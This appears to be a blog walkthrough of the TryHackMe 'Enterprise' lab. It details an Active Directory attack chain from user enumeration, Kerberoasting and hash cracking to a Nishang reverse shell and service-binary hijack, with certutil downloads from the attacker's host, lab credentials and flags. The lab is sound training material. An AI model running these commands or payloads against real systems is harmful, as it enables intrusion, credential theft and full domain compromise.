July 13, 2026
Enterprise | TryHackMe Walkthrough (A Beginner’s Guide)
“You just landed in an internal network. You scan the network and there’s only the Domain Controller…”

By Hibullahi AbdulAzeez
8 min read
"You just landed in an internal network. You scan the network and there's only the Domain Controller…"
This is my full walkthrough of the Enterprise room on TryHackMe. It's rated Hard, but what makes it interesting is that there's no magic exploit here, no CVE, no zero-day. The entire attack chain is built from small, real-world operational mistakes stacked on top of each other. A leaked credential here, a misconfigured share there, a service running as SYSTEM with a writable binary and suddenly the whole domain falls.
Overview
Difficulty: Hard Flags to collect: 2 (user + root/SYSTEM)
A Quick Active Directory Primer
If you're newer to Windows/AD pentesting, a few terms that will come up constantly:
Domain Controller (DC): The server that manages authentication and permissions for an entire Active Directory domain. Compromising the DC means compromising the entire network.
Kerberos: The authentication protocol Active Directory uses. Instead of sending passwords over the network, it issues encrypted tickets. Several attacks abuse weaknesses in how these tickets are generated.
Kerberoasting: Any domain user can request a Kerberos service ticket for accounts that have a Service Principal Name (SPN). Those tickets are encrypted with the service account's password hash — which we can then try to crack offline.
AS-REP Roasting: If a user account has Kerberos pre-authentication disabled, you can request an encrypted blob for that user without knowing their password, and try to crack it offline.
SPN (Service Principal Name): An identifier that links a service to the account running it in Active Directory. Accounts with SPNs are Kerberoastable.
With that context, let's go.
Step 1 — Network Scanning with Nmap
We're told there's only one machine on the network — the Domain Controller. Let's find out exactly what's running on it.
nmap -sC -sV -Pn -p- <machine_IP>nmap -sC -sV -Pn -p- <machine_IP>-sC— run default scripts for extra reconnaissance-sV— detect service versions-Pn— skip ping, treat the host as up (Windows machines often block ICMP)-p-— scan all 65,535 ports
The results confirm this is a Domain Controller:
Port | Service | Notes
-----------|----------|------------------------------------
53 | DNS | Standard on DCs
80 | HTTP | Microsoft IIS 10.0
88 | Kerberos | The authentication backbone of AD
135 | RPC | Windows remote procedure calls
139/445 | SMB | Windows file sharing
389 | LDAP | Active Directory queries
3389 | RDP | Remote Desktop — interesting
7990 | HTTP | Another web server
9389 | .NET | AD web servicesPort | Service | Notes
-----------|----------|------------------------------------
53 | DNS | Standard on DCs
80 | HTTP | Microsoft IIS 10.0
88 | Kerberos | The authentication backbone of AD
135 | RPC | Windows remote procedure calls
139/445 | SMB | Windows file sharing
389 | LDAP | Active Directory queries
3389 | RDP | Remote Desktop — interesting
7990 | HTTP | Another web server
9389 | .NET | AD web servicesWe also discover the domain name from the Nmap output: LAB.ENTERPRISE.THM
This is important — most Kerberos attacks need the domain name, not just the IP.
My initial priorities: port 88 (Kerberos enumeration), port 445 (SMB — often has sensitive files), and ports 80/7990 (web apps might have credentials or interesting content).
Step 2 — User Enumeration with Kerbrute
Before we can attack anything, we need valid usernames. Kerberos gives us a way to enumerate these without needing credentials at all — it responds differently to valid vs invalid usernames during the authentication process.
Kerbrute automates this:
./kerbrute_linux_amd64 userenum \
-d LAB.ENTERPRISE.THM \
--dc <machine_IP> \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt./kerbrute_linux_amd64 userenum \
-d LAB.ENTERPRISE.THM \
--dc <machine_IP> \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txtValid users discovered:
banana@LAB.ENTERPRISE.THM
guest@LAB.ENTERPRISE.THM
administrator@LAB.ENTERPRISE.THM
cake@LAB.ENTERPRISE.THM
enterprise@LAB.ENTERPRISE.THM
nik@LAB.ENTERPRISE.THM
spooks@LAB.ENTERPRISE.THM
joiner@LAB.ENTERPRISE.THMbanana@LAB.ENTERPRISE.THM
guest@LAB.ENTERPRISE.THM
administrator@LAB.ENTERPRISE.THM
cake@LAB.ENTERPRISE.THM
enterprise@LAB.ENTERPRISE.THM
nik@LAB.ENTERPRISE.THM
spooks@LAB.ENTERPRISE.THM
joiner@LAB.ENTERPRISE.THMSave these to a file called users.txt. We'll need them shortly.
Step 3 — AS-REP Roasting Check
With valid usernames, the next natural check is AS-REP Roasting. This attack works when a user account has Kerberos pre-authentication disabled — a setting that should almost never be turned off.
impacket-GetNPUsers LAB.ENTERPRISE.THM/ \
-usersfile users.txt \
-format hashcat \
-outputfile hashes.txt \
-dc-ip <machine_IP> \
-no-passimpacket-GetNPUsers LAB.ENTERPRISE.THM/ \
-usersfile users.txt \
-format hashcat \
-outputfile hashes.txt \
-dc-ip <machine_IP> \
-no-passNo hashes returned. None of these accounts have pre-auth disabled.
Dead end — but it's a check worth doing on every AD engagement. Moving on.
Step 4 — Web Application Recon (Trying to get credentials)
Always enumerate web services. Even if they don't yield direct entry, they often leak information.
Port 80:
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ \
-u "http://<machine_IP>/FUZZ" -ic -c -e .txt,.php,.htmlffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ \
-u "http://<machine_IP>/FUZZ" -ic -c -e .txt,.php,.htmlOnly robots.txt exists, which cheekily says:
"Robots.txt is for search engines, not for you!"
Port 7990:
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ \
-u "http://<machine_IP>:7990/FUZZ" -ic -c -e .txt,.php,.htmlffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ \
-u "http://<machine_IP>:7990/FUZZ" -ic -c -e .txt,.php,.htmlNo useful endpoints on port 7990 from directory fuzzing — but take note of what's hosted there. Port 7990 is a common port for Atlassian Bitbucket (a Git repository hosting service). This will become very important shortly.
Step 5 — SMB Enumeration
SMB (Server Message Block) is the Windows file sharing protocol. Domain Controllers often expose shares that contain sensitive data — sometimes intentionally (for legitimate use) and sometimes by accident.
First, list what shares exist without credentials (anonymous/null session):
smbclient -L //<machine_IP> -Nsmbclient -L //<machine_IP> -NTwo interesting shares appear:
Docs— sounds like it might have documentsUsers— the warning "Do Not Touch!" in the share description is practically an invitation
Exploring the Docs share:
smbclient //<machine_IP>/Docs -Nsmbclient //<machine_IP>/Docs -NInside, we find:
RSA-Secured-Credentials.xlsxRSA-Secured-Document-PII.docx
Both are password-protected Office files. We can try to crack them with office2john to extract the hash, then Hashcat to crack it:
office2john RSA-Secured-Credentials.xlsx > hash_excel.txt
office2john RSA-Secured-Document-PII.docx > hash_docx.txt
hashcat -m 9600 hash_excel.txt /usr/share/wordlists/rockyou.txt --force
hashcat -m 9600 hash_docx.txt /usr/share/wordlists/rockyou.txt --forceoffice2john RSA-Secured-Credentials.xlsx > hash_excel.txt
office2john RSA-Secured-Document-PII.docx > hash_docx.txt
hashcat -m 9600 hash_excel.txt /usr/share/wordlists/rockyou.txt --force
hashcat -m 9600 hash_docx.txt /usr/share/wordlists/rockyou.txt --forceAfter running for a while: no passwords recovered. These files are locked tight. Move on.
Step 6 — Looting the Users Share
The Users share sounds like it might mirror the C:\Users directory structure — which on Windows contains a goldmine of user data including browser history, saved files, and crucially: PowerShell command history.
Download everything:
smbclient //<machine_IP>/Users -N -c "prompt OFF; recurse ON; mget *"smbclient //<machine_IP>/Users -N -c "prompt OFF; recurse ON; mget *"This recursively downloads the entire share. Sift through what you get. The most interesting folder is LAB-ADMIN.
Inside LAB-ADMIN, navigate to:
AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtAppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtPSReadLine is a PowerShell module that saves your command history — just like Bash's .bash_history on Linux. Administrators often run sensitive commands and forget this file exists.
Inside, we find:
replication:101RepAdmin123!!replication:101RepAdmin123!!A credential! Let's validate it:
nxc smb <machine_IP> -u 'replication' -p '101RepAdmin123!!'nxc smb <machine_IP> -u 'replication' -p '101RepAdmin123!!'Access denied. The password is stale — this account's credentials have been changed since this command was run. But this tells us a few things: replication is a likely domain account name, and whoever ran this command had admin-level tasks to do. Keep this in mind.
Step 7 — GitHub OSINT (The Key Break-In)
Remember that port 7990 looked like a Bitbucket instance? It's worth investigating whether this organisation has any public GitHub repositories linked to this infrastructure. Developers frequently store configuration files, deployment scripts, and connection strings in source code — and sometimes forget to scrub credentials before pushing.
Investigating the web application on port 7990, we find a reference to a GitHub repository. Searching it reveals a configuration file containing:
userName = 'nik'
userPassword = 'ToastyBoi!'userName = 'nik'
userPassword = 'ToastyBoi!'A developer committed credentials directly into source code. This is one of the most common real-world credential exposures — it happens constantly, and it's why tools like truffleHog and gitleaks exist to scan repositories for exactly this.
Validate immediately:
nxc smb <machine_IP> -u 'nik' -p 'ToastyBoi!'nxc smb <machine_IP> -u 'nik' -p 'ToastyBoi!'Success. We have our first valid domain credentials.
While we're here, digging further through the repository also reveals:
contractor-temp Change password from Password123!contractor-temp Change password from Password123!Someone left a note about a default password. Test it:
nxc smb <machine_IP> -u 'contractor-temp' -p 'Password123!'nxc smb <machine_IP> -u 'contractor-temp' -p 'Password123!'It worked
Step 8 — Kerberoasting with nik's Credentials
Now that we have valid domain credentials, we can perform Kerberoasting. Remember: any authenticated domain user can request service tickets for accounts with SPNs, and those tickets are encrypted with the service account's password hash.
impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:'ToastyBoi!' \
-dc-ip <machine_IP> \
-requestimpacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:'ToastyBoi!' \
-dc-ip <machine_IP> \
-requestWe receive a TGS (Ticket Granting Service) hash for the user bitbucket. The hash format looks like:
$krb5tgs$23$*bitbucket$LAB.ENTERPRISE.THM$...$krb5tgs$23$*bitbucket$LAB.ENTERPRISE.THM$...Save this to tgs.txt and crack it with Hashcat:
hashcat -a 0 -m 13100 tgs.txt /usr/share/wordlists/rockyou.txthashcat -a 0 -m 13100 tgs.txt /usr/share/wordlists/rockyou.txtThe password cracks quickly:
bitbucket : littleredbucketbitbucket : littleredbucketValidate:
nxc smb <machine_IP> -u 'bitbucket' -p 'littleredbucket'nxc smb <machine_IP> -u 'bitbucket' -p 'littleredbucket'Success. And more importantly — let's check if this account has RDP access:
nxc rdp <machine_IP> -u bitbucket -p littleredbucketnxc rdp <machine_IP> -u bitbucket -p littleredbucketOutput: Pwn3d! — bitbucket can log in via RDP.
Step 9 — RDP Access and User Flag
Connect via RDP:
xfreerdp /u:bitbucket /p:littleredbucket /v:<machine_IP> /cert:ignore +clipboard /dynamic-resolutionxfreerdp /u:bitbucket /p:littleredbucket /v:<machine_IP> /cert:ignore +clipboard /dynamic-resolutionWe're in. Check the Desktop:
User Flag: THM{ed882d02b34246536ef7da79062bef36}User Flag: THM{ed882d02b34246536ef7da79062bef36}But we're only a regular domain user. We need SYSTEM to complete the room.
Step 10 — Privilege Escalation Enumeration
From the RDP session, we need to find a way to escalate to SYSTEM (the highest privilege level on Windows, equivalent to root on Linux).
winPEAS (Windows Privilege Escalation Awesome Scripts) automates the search for common misconfigurations. First, host it on a Python web server from your attacking machine, then download it on the target:
On your attack machine:
python3 -m http.server 8000python3 -m http.server 8000On the target (in PowerShell):
certutil -urlcache -split -f http://<your_IP>:8000/winPEAS.ps1 winPEAS.ps1
powershell -ep bypass
.\winPEAS.ps1certutil -urlcache -split -f http://<your_IP>:8000/winPEAS.ps1 winPEAS.ps1
powershell -ep bypass
.\winPEAS.ps1winPEAS outputs a lot. The critical finding is:
Service: ZeroTierOneService
Runs as: NT AUTHORITY\SYSTEM
Binary Path: C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
Binary Writable: YESService: ZeroTierOneService
Runs as: NT AUTHORITY\SYSTEM
Binary Path: C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
Binary Writable: YESThis is a textbook privilege escalation vulnerability. Let's break down why this is so dangerous:
- The ZeroTier service runs as
NT AUTHORITY\SYSTEM— the highest privilege level - Windows services restart their binary every time the service starts
- The binary file itself is writable by our current user
- If we replace the binary with our own executable, it will run as SYSTEM when the service starts
Step 11 — Service Binary Hijacking to SYSTEM
The plan:
- Create a reverse shell payload
- Compile it as a Windows executable
- Replace the ZeroTier binary with our payload
- Start a listener on our attack machine
- Restart the service — our payload runs as SYSTEM
Step 1: Create the payload
We'll use a PowerShell reverse shell from the Nishang framework. Download Invoke-PowerShellTcp.ps1 from the Nishang GitHub repo and add this line at the bottom of the file:
Invoke-PowerShellTcp -Reverse -IPAddress <your_IP> -Port 4444Invoke-PowerShellTcp -Reverse -IPAddress <your_IP> -Port 4444Step 2: Compile to an executable
Convert the PowerShell script to a .exe using ps2exe (you can find online converters for lab use, but use offline tools in real engagements). Name the output payload.exe.
Step 3: Set up your listener
On your attack machine:
nc -lvnp 4444nc -lvnp 4444Step 4: Transfer and replace the binary
Host the payload on your Python web server, then on the target:
certutil -urlcache -split -f http://<your_IP>:8000/payload.exe payload.exe
# Replace the service binary
copy payload.exe "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe"certutil -urlcache -split -f http://<your_IP>:8000/payload.exe payload.exe
# Replace the service binary
copy payload.exe "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe"Step 5: Start the service
net start zerotieroneservicenet start zerotieroneserviceThe service starts, executes our payload as SYSTEM, and we receive a shell on our listener:
PS C:\Windows\system32> whoami
nt authority\systemPS C:\Windows\system32> whoami
nt authority\systemStep 12 — System Flag
With a SYSTEM shell, navigate to the Administrator's desktop:
type C:\Users\Administrator\Desktop\root.txt
Root Flag: THM{1a1fa94875421296331f145971ca4881}type C:\Users\Administrator\Desktop\root.txt
Root Flag: THM{1a1fa94875421296331f145971ca4881}Full domain compromise achieved.
Full Flag Summary
User Flag Desktop after RDP login as bitbucket THM{ed882d02b34246536ef7da79062bef36}
Root Flag SYSTEM shell via service binary hijacking THM{1a1fa94875421296331f145971ca4881}
The Full Attack Chain
Let's zoom out and appreciate how this chain looks end to end:
Nmap → Domain discovered (LAB.ENTERPRISE.THM)
↓
Kerbrute → Valid usernames found
↓
SMB (Users share) → PSReadLine history → Stale credential (replication)
↓
Web app (port 7990 / Bitbucket) → GitHub repo → Live credential (nik)
↓
Kerberoasting as nik → TGS hash for bitbucket → Cracked → littleredbucket
↓
RDP as bitbucket → User flag
↓
winPEAS → ZeroTier service: SYSTEM + writable binary
↓
Service binary hijacking → SYSTEM shell → Root flagNmap → Domain discovered (LAB.ENTERPRISE.THM)
↓
Kerbrute → Valid usernames found
↓
SMB (Users share) → PSReadLine history → Stale credential (replication)
↓
Web app (port 7990 / Bitbucket) → GitHub repo → Live credential (nik)
↓
Kerberoasting as nik → TGS hash for bitbucket → Cracked → littleredbucket
↓
RDP as bitbucket → User flag
↓
winPEAS → ZeroTier service: SYSTEM + writable binary
↓
Service binary hijacking → SYSTEM shell → Root flagLessons Learned
Never commit credentials to source code. This is perhaps the most important lesson in the room. The GitHub credential leak for nik was the pivotal moment in the entire attack. Once we had valid domain credentials, everything else became much easier. Use secret scanning tools in your CI/CD pipeline and audit your repositories regularly.
PowerShell history is a log file — treat it like one. ConsoleHost_history.txt records every command you type in PowerShell. If you run a command containing a password, that password is now stored in plaintext on disk. Administrators should be aware of this file and clear it regularly, or store credentials in a secrets manager instead of typing them directly.
Kerberoasting is a design feature, not a bug. Any domain user can request service tickets for SPNs — that's how Kerberos is designed. The problem is when service accounts have weak passwords. Service accounts should have long, randomly generated passwords (or better, use Group Managed Service Accounts / gMSA, which rotate automatically).
SYSTEM services with writable binaries are a critical finding. Every service running as SYSTEM with a binary that non-admin users can modify is a privilege escalation waiting to happen. The fix is simple: apply the Principle of Least Privilege. A service that doesn't need SYSTEM should not run as SYSTEM, and no binary running as a privileged service should be writable by unprivileged users.
SMB shares deserve careful attention. The Users share being accessible anonymously — and containing PowerShell history files — is a serious misconfiguration. Audit what's accessible on your SMB shares from unauthenticated sessions, and from low-privileged user sessions.
Happy hacking! Active Directory rooms can feel intimidating at first, but the attack patterns repeat across almost every engagement: enumerate users, find credentials, abuse Kerberos, escalate locally. Once you've seen this chain once, you'll recognise the shape of it everywhere.